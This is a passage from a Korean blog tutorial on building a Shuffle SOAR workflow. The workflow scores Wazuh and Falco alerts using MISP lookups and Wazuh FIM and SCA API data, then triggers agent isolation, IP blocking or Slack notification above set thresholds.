&lt;li&gt;Technical Context: 만약 데이터가 없다면(신규 에이전트), {&quot;total_score&quot;: 0, &quot;sca_applied&quot;: false}라는 기본값을 반환하도록 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Filter (RS인지 아닌지)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Condition: {{ $exec.all_fields.rule.id }} 가 STAGE_1으로 시작하는가?&lt;/li&gt;
&lt;/ul&gt;
항목 이름 의미 예시 (3번 노드 설정값)
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Input list&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;어떤 데이터를 가져와 검사할 것인가?&lt;/td&gt;
&lt;td&gt;{{ $exec }}&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Field&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;로그 데이터 중 어떤 항목을 볼 것인가?&lt;/td&gt;
&lt;td&gt;all_fields.rule.id&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Check&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;어떤 기준으로 비교할 것인가?&lt;/td&gt;
&lt;td&gt;Starts with&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Value&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;비교할 실제 값은 무엇인가?&lt;/td&gt;
&lt;td&gt;STAGE_1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;li&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;676&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eoa1cp/dJMcahb9ygv/4jk8cepjxxH8rLnbiopBHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eoa1cp/dJMcahb9ygv/4jk8cepjxxH8rLnbiopBHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eoa1cp/dJMcahb9ygv/4jk8cepjxxH8rLnbiopBHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feoa1cp%2FdJMcahb9ygv%2F4jk8cepjxxH8rLnbiopBHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;676&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;676&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;b&gt;Set Storage&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;노드 이름: Prepare_Reset_Data (자유롭게 지정 / 추후 이어짐)&lt;/li&gt;
&lt;li&gt;예시 코드&lt;/li&gt;
&lt;li&gt;import json def handler(event, context): # 1. 이전 노드($exec)로부터 agent_id 추출 agent_id = event.get(&quot;all_fields&quot;, {}).get(&quot;agent&quot;, {}).get(&quot;id&quot;, &quot;default_agent&quot;) # 2. 저장할 때 사용할 Key와 초기화할 Value 정의 return { &quot;storage_key&quot;: f&quot;score_{agent_id}&quot;, &quot;reset_value&quot;: { &quot;total_score&quot;: 0, &quot;sca_applied&quot;: False } }&lt;/li&gt;
&lt;/ul&gt;
4.2. set cache value
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Key: {{ $Prepare_Reset_Data.storage_key }}&lt;/li&gt;
&lt;li&gt;Value: {{ $Prepare_Reset_Data.reset_value }}&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;4.1. execute python&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;공격 분류 (Nodes 5)&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;850&quot; data-origin-height=&quot;456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwykRm/dJMcafenhCa/35aO9VkDsFMPEgM9NNrrj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwykRm/dJMcafenhCa/35aO9VkDsFMPEgM9NNrrj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwykRm/dJMcafenhCa/35aO9VkDsFMPEgM9NNrrj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwykRm%2FdJMcafenhCa%2F35aO9VkDsFMPEgM9NNrrj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;456&quot; data-origin-width=&quot;850&quot; data-origin-height=&quot;456&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;로그 분류
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;노드 이름 : Log_Classifier (&amp;rdquo;%)&lt;/li&gt;
&lt;li&gt;단순히 문자열 태그를 생성&lt;/li&gt;
&lt;li&gt;예시 코드&lt;/li&gt;
&lt;li&gt;def handler(event, context): all_fields = event.get(&quot;all_fields&quot;, {}) # 1. 데이터 추출 remote_ip = all_fields.get(&quot;data&quot;, {}).get(&quot;fd&quot;, {}).get(&quot;rip&quot;) rule_groups = all_fields.get(&quot;rule&quot;, {}).get(&quot;groups&quot;, []) # 2. 분류 로직 # ① IP 정보가 있고 Falco 관련 로그일 때 if remote_ip and any(&quot;falco&quot; in g.lower() for g in rule_groups): category = &quot;IP_Falco&quot; # ② IP는 없지만 Falco 관련 로그일 때 (프로세스/명령어 기반) elif any(&quot;falco&quot; in g.lower() for g in rule_groups): category = &quot;Process_Falco&quot; # ③ 파일 무결성 감시(FIM) 관련 로그일 때 elif any(&quot;syscheck&quot; in g.lower() for g in rule_groups) or &quot;syscheck&quot; in all_fields.get(&quot;rule&quot;, {}).get(&quot;id&quot;, &quot;&quot;): category = &quot;FIM&quot; else: category = &quot;Unknown&quot; return { &quot;category&quot;: category, &quot;remote_ip&quot;: remote_ip }&lt;/li&gt;
&lt;/ul&gt;
5.2. filter항목 의미 예시
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Input List&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;어떤 노드의 데이터를 가져올 것인가?&lt;/td&gt;
&lt;td&gt;{{ $Log_Classifier }}&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Field&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;가져온 데이터 중 어떤 항목을 비교할 것인가?&lt;/td&gt;
&lt;td&gt;category&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Check&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;어떤 기준으로 판별할 것인가? (연산자)&lt;/td&gt;
&lt;td&gt;EQUALS (일치함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Value&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;비교 대상이 되는 실제 값은 무엇인가?&lt;/td&gt;
&lt;td&gt;IP_Falco (또는 FIM 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;li&gt;5.1. execute python&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;misp 조회 및 wazuh 조회 (Nodes 6~8)&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bt0ER1/dJMcacBWiAz/h4KSk4PYZdPzC7cOZIqx10/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bt0ER1/dJMcacBWiAz/h4KSk4PYZdPzC7cOZIqx10/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bt0ER1/dJMcacBWiAz/h4KSk4PYZdPzC7cOZIqx10/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbt0ER1%2FdJMcacBWiAz%2Fh4KSk4PYZdPzC7cOZIqx10%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;misp 조회
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;입력값항목 (Field) 설정해야 할 값 의미
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Value&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;{{ 조회할 대상 데이터 }}&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가장 중요합니다.&lt;/b&gt; 실제 IP나 Hash 값이 들어가는 곳입니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Type&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;(조회 대상에 맞게 선택)&lt;/td&gt;
&lt;td&gt;IP면 ip-dst, 해시면 sha256 등을 선택하여 검색 속도를 높입니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Returnformat&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;json&lt;/td&gt;
&lt;td&gt;셔플 다음 노드(점수 합산)에서 데이터를 처리하기 가장 쉬운 형식입니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;EnforceWarninglist&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;True&lt;/td&gt;
&lt;td&gt;구글, 클라우드플레어 등 안전한 IP를 악성으로 오탐하는 것을 방지합니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기타 옵션 (추가하고 싶으면)필드 이름 추천 설정값 의미 및 설정 이유
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Enforcewarninglist&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;True&lt;/td&gt;
&lt;td&gt;&lt;b&gt;(필수 권장)&lt;/b&gt; Google, Cloudflare 등 '안전한 IP'가 MISP 블랙리스트에 실수로 등록된 경우 이를 결과에서 제외합니다. 오탐(False Positive)을 획기적으로 줄여줍니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;IncludeContext&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;True&lt;/td&gt;
&lt;td&gt;위협 정보만 가져오는 게 아니라, 해당 위협이 어떤 공격 그룹(APT 등)과 관련 있는지 등의 &lt;b&gt;맥락 정보&lt;/b&gt;를 함께 가져옵니다. 나중에 보고서(Slack)를 쓸 때 풍부한 내용을 담을 수 있습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Returnformat&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;json&lt;/td&gt;
&lt;td&gt;&lt;b&gt;(필수)&lt;/b&gt; 셔플의 다음 노드(Python 점수 합산)에서 데이터를 구조적으로 읽으려면 반드시 JSON 형식이어야 합니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;To IDS&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;True&lt;/td&gt;
&lt;td&gt;질문자님이 언급하신 대로, 탐지 시스템에서 유의미하다고 판단된(중요도가 높은) 속성들만 필터링해서 조회합니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Limit&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;결과가 너무 많으면 워크플로우 속도가 느려질 수 있습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Published&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;True&lt;/td&gt;
&lt;td&gt;이미 발행된 공식 위협 정보만 조회하겠다는 뜻입니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;/ul&gt;
6.1. ip 대조
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Value: {{ $exec.all_fields.data.fd.rip }}&lt;/li&gt;
&lt;li&gt;Type: ip-dst 또는 ip-src&lt;/li&gt;
&lt;/ul&gt;
6.2.1. 백도어 hash 대조
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Value: {{ $exec.all_fields.data.sha256 }}&lt;/li&gt;
&lt;li&gt;Type: sha256&lt;/li&gt;
&lt;/ul&gt;
6.3. FIM hash 대조
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Value: {{ $exec.all_fields.syscheck.sha256_after }}&lt;/li&gt;
&lt;li&gt;Type: sha256&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;wazuh api로 FIM 통계 &amp;rarr; wazuh 앱 말고 http앱 이용
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;http 앱 사용시 권장사항 (표에 일괄정리)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;URL 구조:&lt;/b&gt; 파라미터(예: ?status=failed)는 &lt;b&gt;Url&lt;/b&gt; 칸 끝에 직접 붙여서 입력하는 것이 가장 확실합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Headers 입력 형식:&lt;/b&gt; Key: Value 형식으로 입력해야 합니다. (Wazuh 앱에서는 =를 썼지만, 일반 HTTP 앱은 :를 사용하는 경우가 많으니 주의하세요.)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Verify (SSL):&lt;/b&gt; 내부망에서 사용하는 Wazuh 서버라면 보안 인증서가 공인되지 않았을 확률이 높으므로, 반드시 &lt;b&gt;false&lt;/b&gt;로 설정해야 'SSL Certificate Verify Failed' 에러를 피할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Timeout:&lt;/b&gt; 네트워크 환경에 따라 API 응답이 느릴 수 있으므로, timeout 칸에 10 정도를 입력해 두는 것이 좋습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
항목 (Field) 입력할 내용 (Value) 의미
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Method&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;GET&lt;/td&gt;
&lt;td&gt;(앱 이름 아래 Action 선택에서 &lt;b&gt;GET&lt;/b&gt; 선택)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Url&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;https://&amp;lt;WAZUH_IP&amp;gt;:55000/syscheck/{{ $exec.all_fields.agent.id }}&lt;/td&gt;
&lt;td&gt;&amp;lt;WAZUH_IP&amp;gt;는 실제 Wazuh 매니저 IP로 변경하세요.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Headers&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Content-Type: application/json&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authorization: Bearer {{ $Wazuh_Auth.token }}&lt;/td&gt;
&lt;td&gt;인증 토큰을 포함합니다. (줄바꿈으로 구분)&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Verify&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;false&lt;/td&gt;
&lt;td&gt;사설 SSL 인증서 사용 시 체크를 해제(false)해야 연결됩니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Username / Password&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;(비워둠)&lt;/td&gt;
&lt;td&gt;Bearer 토큰 방식을 쓰므로 입력하지 않습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;http_proxy&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;(비워둠)&lt;/td&gt;
&lt;td&gt;셔플 서버와 Wazuh 매니저 사이에 별도의 프록시 서버(대리 서버)를 거쳐야 하는 특수한 보안 환경이 아니라면 필요 없습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;timeout&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;10&lt;/b&gt; (입력 권장)&lt;/td&gt;
&lt;td&gt;비워두면 무한정 대기하거나 시스템 기본값에 따릅니다. API 응답이 늦어질 경우 워크플로우 전체가 멈추는 걸 방지하기 위해 &lt;b&gt;10(초)&lt;/b&gt; 정도 적어주는 것이 좋습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;to_file&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;false&lt;/b&gt; (또는 비워둠)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;중요:&lt;/b&gt; 이 값을 true로 하면 API 결과가 파일 형태로 저장되어 나중에 파이썬 노드에서 텍스트로 읽기가 매우 까다로워집니다. 점수 계산을 위해 데이터를 직접 처리해야 하므로 반드시 &lt;b&gt;false&lt;/b&gt;여야 합니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;li&gt;wazuh api로 SCA 통계 &amp;rarr; wazuh 앱 말고 http앱 이용항목 (Field) 입력할 내용 (Value) 의미
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Method&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;GET&lt;/td&gt;
&lt;td&gt;데이터를 가져오는 조회 방식입니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Url&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;https://&amp;lt;WAZUH_IP&amp;gt;:55000/sca/{{ $exec.all_fields.agent.id }}/checks?status=failed&lt;/td&gt;
&lt;td&gt;?status=failed를 끝에 붙여 취약 항목만 가져옵니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Headers&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Content-Type: application/json&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authorization: Bearer {{ $Wazuh_Auth.token }}&lt;/td&gt;
&lt;td&gt;인증 토큰을 포함합니다.&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Verify&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;false&lt;/td&gt;
&lt;td&gt;SSL 인증서 검증 건너뛰기 설정입니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Username / Password&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;(비워둠)&lt;/td&gt;
&lt;td&gt;위와 동일하게 비워둡니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;http_proxy&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;(비워둠)&lt;/td&gt;
&lt;td&gt;셔플 서버와 Wazuh 매니저 사이에 별도의 프록시 서버(대리 서버)를 거쳐야 하는 특수한 보안 환경이 아니라면 필요 없습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;timeout&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;10&lt;/b&gt; (입력 권장)&lt;/td&gt;
&lt;td&gt;비워두면 무한정 대기하거나 시스템 기본값에 따릅니다. API 응답이 늦어질 경우 워크플로우 전체가 멈추는 걸 방지하기 위해 &lt;b&gt;10(초)&lt;/b&gt; 정도 적어주는 것이 좋습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;to_file&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;false&lt;/b&gt; (또는 비워둠)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;중요:&lt;/b&gt; 이 값을 true로 하면 API 결과가 파일 형태로 저장되어 나중에 파이썬 노드에서 텍스트로 읽기가 매우 까다로워집니다. 점수 계산을 위해 데이터를 직접 처리해야 하므로 반드시 &lt;b&gt;false&lt;/b&gt;여야 합니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;가중치 합산 및 저장(Nodes 9~10)&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;점수 합산 (execute python)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;예시 파이썬 코드&lt;/li&gt;
&lt;li&gt;import json def handler(event, context): # 1. 이전 단계 데이터 가져오기 (노드 이름 확인 필수) # Get_Cache_2: 2번 Get Storage 결과 # MISP_Search: 7번 MISP 결과 # Wazuh_FIM: 8번 FIM 통계 결과 # Wazuh_SCA: 9번 SCA 결과 current_cache = event.get(&quot;Get_Cache_2&quot;, {}) misp_data = event.get(&quot;MISP_Search&quot;, {}) fim_data = event.get(&quot;Wazuh_FIM&quot;, {}) sca_data = event.get(&quot;Wazuh_SCA&quot;, {}) total_score = current_cache.get(&quot;total_score&quot;, 0) sca_applied = current_cache.get(&quot;sca_applied&quot;, False) # 2. MISP 점수 가산 (블랙리스트 일치 시 +30) if misp_data and len(misp_data.get(&quot;Attribute&quot;, [])) &amp;gt; 0: total_score += 30 # 3. FIM 점수 가산 (최근 변경 이력 존재 시 +20) if fim_data and fim_data.get(&quot;affected_items&quot;): total_score += 20 # 4. SCA 점수 가산 (중복 합산 방지 로직) if not sca_applied: failed_count = sca_data.get(&quot;total_failed&quot;, 0) if failed_count &amp;gt; 0: total_score += min(failed_count * 5, 40) # 최대 40점 제한 sca_applied = True # 5. 최종 결과 반환 return { &quot;total_score&quot;: total_score, &quot;sca_applied&quot;: sca_applied, &quot;agent_id&quot;: event.get(&quot;all_fields&quot;, {}).get(&quot;agent&quot;, {}).get(&quot;id&quot;), &quot;raw_log&quot;: event.get(&quot;all_fields&quot;) }&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Set cache value (데이터 업데이트)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Key: score_{{ $10_Execute_Python.agent_id }}&lt;/li&gt;
&lt;li&gt;Value: {{ $10_Execute_Python }} (JSON 전체 저장)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;임계치 판단 및 자동대응(Nodes 11~12)&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;임계치 판단 (execute python)&lt;/li&gt;
&lt;li&gt;def handler(event, context): # 1. 11번(또는 10번) 노드에서 계산된 최종 데이터 가져오기 # 노드 이름이 'Set_Cache_Update'라고 가정할 때의 예시입니다. final_data = event.get(&quot;Set_Cache_Update&quot;, {}) score = final_data.get(&quot;total_score&quot;, 0) agent_id = final_data.get(&quot;agent_id&quot;, &quot;unknown&quot;) # 공격자 IP 추출 (로그 구조에 따라 경로 확인 필요) attacker_ip = final_data.get(&quot;raw_log&quot;, {}).get(&quot;data&quot;, {}).get(&quot;fd&quot;, {}).get(&quot;rip&quot;, &quot;unknown&quot;) # 2. 결과 저장을 위한 기본 구조 action_plan = { &quot;score&quot;: score, &quot;agent_id&quot;: agent_id, &quot;attacker_ip&quot;: attacker_ip, &quot;severity&quot;: &quot;&quot;, &quot;should_isolate&quot;: False, &quot;should_block_ip&quot;: False, &quot;should_notify_slack&quot;: False, &quot;should_log_internally&quot;: False } # 3. 임계치 판단 로직 (12단계) if score &amp;gt;= 90: action_plan[&quot;severity&quot;] = &quot;Critical&quot; action_plan[&quot;should_isolate&quot;] = True action_plan[&quot;should_block_ip&quot;] = True action_plan[&quot;should_notify_slack&quot;] = True elif score &amp;gt;= 80: action_plan[&quot;severity&quot;] = &quot;High&quot; action_plan[&quot;should_block_ip&quot;] = True action_plan[&quot;should_notify_slack&quot;] = True elif score &amp;gt;= 60: action_plan[&quot;severity&quot;] = &quot;Medium&quot; action_plan[&quot;should_notify_slack&quot;] = True else: action_plan[&quot;severity&quot;] = &quot;Low&quot; action_plan[&quot;should_log_internally&quot;] = True return action_plan&lt;/li&gt;
&lt;li&gt;자동 대응12.1.1. filter 노드
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Input list: {{ $Action_Planner }}&lt;/li&gt;
&lt;li&gt;Field: should_isolate&lt;/li&gt;
&lt;li&gt;Check: Equals&lt;/li&gt;
&lt;li&gt;Value: true (소문자로 입력)&lt;/li&gt;
&lt;li&gt;Opposite: False&lt;/li&gt;
&lt;/ul&gt;
12.1.2. wazuh 노드 이용
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Action 선택: Run Command&lt;/li&gt;
&lt;li&gt;Custom Path: (?PUT)/active-response/{{ $Action_Planner.agent_id }}&lt;/li&gt;
&lt;li&gt;Headers:&lt;/li&gt;
&lt;li&gt;Content-Type: application/json Authorization: Bearer {{ $Wazuh_Auth.token }}&lt;/li&gt;
&lt;li&gt;Body (JSON):&lt;/li&gt;
&lt;li&gt;Content-Type: application/json Authorization: Bearer {{ $Wazuh_Auth.token }}&lt;/li&gt;
&lt;/ul&gt;
12.2. IP 차단
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Input list: {{ $Action_Planner }}&lt;/li&gt;
&lt;li&gt;Field: should_block_ip&lt;/li&gt;
&lt;li&gt;Check: Equals&lt;/li&gt;
&lt;li&gt;Value: true&lt;/li&gt;
&lt;li&gt;Opposite: False&lt;/li&gt;
&lt;/ul&gt;
12.2.2. firewall 노드 이용 &amp;rarr; cisco나 fortinet등
